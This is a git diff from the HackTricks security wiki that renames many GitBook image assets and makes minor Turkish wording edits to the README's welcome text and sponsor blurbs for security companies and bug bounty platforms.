diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
new file mode 100644
index 000000000..e70bceed6
Binary files /dev/null and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index e70bceed6..2173ed0a4 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 2173ed0a4..53e9f7c1f 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 53e9f7c1f..0ea1b8586 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 0ea1b8586..b38f1e7c3 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index b38f1e7c3..0e554c193 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 0e554c193..a8cfa5b77 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index a8cfa5b77..33c23d55b 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 33c23d55b..bedca8e18 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index bedca8e18..a0a303a29 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index a0a303a29..f9a051e20 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index f9a051e20..0b96b38ef 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 0b96b38ef..0ea2dbdc6 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png
index 0ea2dbdc6..af973a127 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png
index af973a127..4207464e0 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png
index 4207464e0..ca4f55331 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1).png
index ca4f55331..1e61555dd 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1).png
index 1e61555dd..6856b34b8 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1).png
index 6856b34b8..cee86ab50 100644
Binary files a/.gitbook/assets/image (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png
index cee86ab50..1a985c3d4 100644
Binary files a/.gitbook/assets/image (1) (1).png and b/.gitbook/assets/image (1) (1).png differ
diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png
index 1a985c3d4..13854046c 100644
Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ
diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
new file mode 100644
index 000000000..eaa792ed6
Binary files /dev/null and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index eaa792ed6..eb7611c98 100644
Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index eb7611c98..4ede9266b 100644
Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 4ede9266b..d7789e602 100644
Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index d7789e602..ca4b6651b 100644
Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index ca4b6651b..0330f840b 100644
Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 0330f840b..8190e06a7 100644
Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 8190e06a7..0c49287b0 100644
Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png
index 0c49287b0..bedca8e18 100644
Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png
index bedca8e18..611702103 100644
Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png
index 611702103..f0efd5ebd 100644
Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png
index f0efd5ebd..68b506e08 100644
Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1).png
index 68b506e08..94022a58d 100644
Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (2) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1).png
index 94022a58d..7118b03d4 100644
Binary files a/.gitbook/assets/image (2) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (2) (1) (1).png b/.gitbook/assets/image (2) (1) (1).png
index 7118b03d4..ae8c5810e 100644
Binary files a/.gitbook/assets/image (2) (1) (1).png and b/.gitbook/assets/image (2) (1) (1).png differ
diff --git a/.gitbook/assets/image (2) (1).png b/.gitbook/assets/image (2) (1).png
index ae8c5810e..e0b33932e 100644
Binary files a/.gitbook/assets/image (2) (1).png and b/.gitbook/assets/image (2) (1).png differ
diff --git a/.gitbook/assets/image (2).png b/.gitbook/assets/image (2).png
index e0b33932e..6c2c20ea1 100644
Binary files a/.gitbook/assets/image (2).png and b/.gitbook/assets/image (2).png differ
diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
new file mode 100644
index 000000000..455fbb8b7
Binary files /dev/null and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 455fbb8b7..6874f9c86 100644
Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 6874f9c86..38b71f3d4 100644
Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 38b71f3d4..7dcdeb084 100644
Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png
index 7dcdeb084..865dc4ae4 100644
Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png
index 865dc4ae4..0d52048cb 100644
Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png
index 0d52048cb..b98c9fbbc 100644
Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png
index b98c9fbbc..78abb7891 100644
Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1).png
index 78abb7891..cdd56bb93 100644
Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (3) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1).png
index cdd56bb93..f406f4410 100644
Binary files a/.gitbook/assets/image (3) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (3) (1) (1).png b/.gitbook/assets/image (3) (1) (1).png
index f406f4410..61513f7bf 100644
Binary files a/.gitbook/assets/image (3) (1) (1).png and b/.gitbook/assets/image (3) (1) (1).png differ
diff --git a/.gitbook/assets/image (3) (1).png b/.gitbook/assets/image (3) (1).png
index 61513f7bf..e0b33932e 100644
Binary files a/.gitbook/assets/image (3) (1).png and b/.gitbook/assets/image (3) (1).png differ
diff --git a/.gitbook/assets/image (3).png b/.gitbook/assets/image (3).png
index e0b33932e..2c0467343 100644
Binary files a/.gitbook/assets/image (3).png and b/.gitbook/assets/image (3).png differ
diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
new file mode 100644
index 000000000..2fde683ec
Binary files /dev/null and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png
index 2fde683ec..ea50c990a 100644
Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png
index ea50c990a..bc4b76df1 100644
Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png
index bc4b76df1..8cd1f020d 100644
Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png
index 8cd1f020d..c4dc34691 100644
Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1).png
index c4dc34691..59ecb25fa 100644
Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (4) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1).png
index 59ecb25fa..0a0d96518 100644
Binary files a/.gitbook/assets/image (4) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (4) (1) (1).png b/.gitbook/assets/image (4) (1) (1).png
index 0a0d96518..8f2e02767 100644
Binary files a/.gitbook/assets/image (4) (1) (1).png and b/.gitbook/assets/image (4) (1) (1).png differ
diff --git a/.gitbook/assets/image (4) (1).png b/.gitbook/assets/image (4) (1).png
index 8f2e02767..354be02ad 100644
Binary files a/.gitbook/assets/image (4) (1).png and b/.gitbook/assets/image (4) (1).png differ
diff --git a/.gitbook/assets/image (4).png b/.gitbook/assets/image (4).png
index 354be02ad..00fb8b946 100644
Binary files a/.gitbook/assets/image (4).png and b/.gitbook/assets/image (4).png differ
diff --git a/.gitbook/assets/image (5) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (5) (1) (1) (1) (1) (1).png
new file mode 100644
index 000000000..b2c2c3d26
Binary files /dev/null and b/.gitbook/assets/image (5) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (5) (1) (1) (1) (1).png b/.gitbook/assets/image (5) (1) (1) (1) (1).png
index b2c2c3d26..77f2a8962 100644
Binary files a/.gitbook/assets/image (5) (1) (1) (1) (1).png and b/.gitbook/assets/image (5) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (5) (1) (1) (1).png b/.gitbook/assets/image (5) (1) (1) (1).png
index 77f2a8962..d74f01753 100644
Binary files a/.gitbook/assets/image (5) (1) (1) (1).png and b/.gitbook/assets/image (5) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (5) (1) (1).png b/.gitbook/assets/image (5) (1) (1).png
index d74f01753..8f87ed9e5 100644
Binary files a/.gitbook/assets/image (5) (1) (1).png and b/.gitbook/assets/image (5) (1) (1).png differ
diff --git a/.gitbook/assets/image (5) (1).png b/.gitbook/assets/image (5) (1).png
index 8f87ed9e5..4e7cfeff2 100644
Binary files a/.gitbook/assets/image (5) (1).png and b/.gitbook/assets/image (5) (1).png differ
diff --git a/.gitbook/assets/image (5).png b/.gitbook/assets/image (5).png
index 4e7cfeff2..70fe9294a 100644
Binary files a/.gitbook/assets/image (5).png and b/.gitbook/assets/image (5).png differ
diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png
index 70fe9294a..3646dc3f3 100644
Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ
diff --git a/README.md b/README.md
index 51553ba72..8c074b7d1 100644
--- a/README.md
+++ b/README.md
@@ -5,10 +5,10 @@
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %}
-**Wiki'ye hoş geldiniz, burada CTF'lerden, gerçek uygulamalardan, araştırmalardan ve haberlerden öğrendiğim her hackleme hilesini/teknikleri/bilgiyi bulacaksınız.**
+**Wiki'ye hoş geldiniz, burada CTF'lerden, gerçek uygulamalardan, araştırmalardan ve haberlerden öğrendiğim her hack tekniğini bulacaksınız.**
{% endhint %}
-Başlamak için, bir veya daha fazla **makineyi pentest ettiğinizde izlemeniz gereken tipik akışı** bulacağınız bu sayfayı takip edin:
+Başlamak için, bir veya daha fazla makineyi pentest ettiğinizde **izlemeniz gereken tipik akışı** bulacağınız bu sayfayı takip edin:
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
@@ -20,30 +20,31 @@ Başlamak için, bir veya daha fazla **makineyi pentest ettiğinizde izlemeniz g
-[**STM Cyber**](https://www.stmcyber.com), sloganı **HACK THE UNHACKABLE** olan harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve kendi hackleme araçlarını geliştirirler ve pentesting, Kırmızı Takımlar ve eğitim gibi çeşitli değerli siber güvenlik hizmetleri sunarlar.
+[**STM Cyber**](https://www.stmcyber.com), sloganı **HACK THE UNHACKABLE** olan harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve kendi hacking araçlarını geliştirirler ve pentesting, Kırmızı Takımlar ve eğitim gibi birçok değerli siber güvenlik hizmeti sunarlar.
Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresinden kontrol edebilirsiniz.
-**STM Cyber**, HackTricks gibi siber güvenlik açık kaynak projelerini de desteklemektedir :)
+**STM Cyber**, HackTricks gibi siber güvenlik açık kaynak projelerini de destekler :)
***
### [RootedCON](https://www.rootedcon.com/)
-
+
-[**RootedCON**](https://www.rootedcon.com), **İspanya**'daki en ilgili siber güvenlik etkinliği ve **Avrupa**'daki en önemlilerden biridir. Teknik bilgiyi teşvik etme misyonuyla, bu kongre, teknoloji ve siber güvenlik profesyonelleri için bir araya gelen bir buluşma noktasıdır.
+[**RootedCON**](https://www.rootedcon.com), İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'daki en önemlilerden biridir. Teknik bilgiyi teşvik etme misyonuyla, bu kongre, teknoloji ve siber güvenlik profesyonellerinin her disiplinde bir araya geldiği kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
+
***
### [Intigriti](https://www.intigriti.com)
-
+
-**Intigriti**, **Avrupa'nın #1** etik hackleme ve **bug bounty platformudur.**
+**Intigriti**, Avrupa'nın #1 etik hacking ve **bug bounty platformudur**.
-**Bug bounty ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **bug bounty platformuna katılın**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinden bize katılın ve **100.000 $'a kadar ödül kazanmaya başlayın**!
+**Bug bounty ipucu**: **Intigriti'ye** kaydolun, hackerlar tarafından oluşturulan bir premium **bug bounty platformuna katılın**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinden bize katılın ve **100.000 $'a kadar ödüller kazanmaya başlayın**!
{% embed url="https://go.intigriti.com/hacktricks" %}
@@ -51,10 +52,10 @@ Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresind
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
-
+
\
-Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.
+Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanın.
Bugün Erişim Alın:
@@ -64,36 +65,36 @@ Bugün Erişim Alın:
### [HACKENPROOF](https://bit.ly/3xrrDrL)
-
+
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
**Hacking Insights**\
-Hackingin heyecanını ve zorluklarını ele alan içeriklerle etkileşime girin
+Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime girin
**Gerçek Zamanlı Hack Haberleri**\
-Hızlı tempolu hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
+Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin
**En Son Duyurular**\
-Başlatılan en yeni bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
+Başlatılan en yeni bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi edinin
-**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
+Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) adresinde bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
***
### [Pentest-Tools.com](https://pentest-tools.com/) - Temel penetrasyon testi araç seti
-
+
